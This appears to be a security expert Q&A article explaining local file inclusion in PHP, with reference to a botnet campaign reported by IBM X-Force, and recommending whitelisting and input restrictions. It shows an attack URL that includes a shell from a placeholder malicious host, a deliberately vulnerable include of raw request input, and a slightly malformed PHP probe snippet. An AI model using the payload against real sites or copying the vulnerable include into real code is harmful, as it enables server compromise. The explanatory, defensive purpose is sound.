How can a local file inclusion attack be stopped?

IBM X-Force Threat Research discovered a botnet-based local file inclusion attack targeting over 100 of its customers. What is a local file inclusion attack and how can this one be stopped?

The PHP coding language is vulnerable to a local file inclusion attack due to its frequent reliance on files stored on the server -- local files -- that include commands for taking in user input.

This vulnerability involves the local files on the Unix web server and occurs when an attacker injects malicious commands into a file. The target site executes whatever input is provided; the input can be either a file name or a URL address. Consider the file parameter in this example, which points to a file with malicious code, stored externally:

http://www.victim_site.com/test.php?file=http://www.malicious.com/shell.php

The parameter is taken into the following PHP code and the malicious file is included:

test.php

<?php

. . .

include $_REQUEST['file'];

. . .

?>

The attacker adds malicious input into the shell.php that retrieves unauthorized files in the same or a different directory.

More aggressive than this local file inclusion attack is the bot-based attack reported by IBM X-Force Threat Research. The attacker performs command injection to trap a Wget request that attempts to write a suspicious PHP file, shell.php, on the victim's machine.

The attacker uses the /proc/self/environ file, which usually contains environment variables, and which should be accessible only to root users, as the included file. A PHP script returning the word carbon in the MD5 form notifies the attacker that the exploitation of the vulnerability was successful.

<? php

echo md5("carbon");

die():

?>

The most effective solution for removing file inclusion vulnerabilities is to prevent users from passing input into the file systems and framework API. If this is not possible, the application can maintain a whitelist of files. These files must contain only characters (a-z) and numbers for file names. Special characters -- for example, the colon and slashes found in a URL, like http:// -- must not be included.

The API should be limited to including files from one allowed directory, and any request containing invalid characters should be rejected.

Ask the expert:
Want to ask Judith Myerson a question about security? Submit your question now via email. (All questions are anonymous.)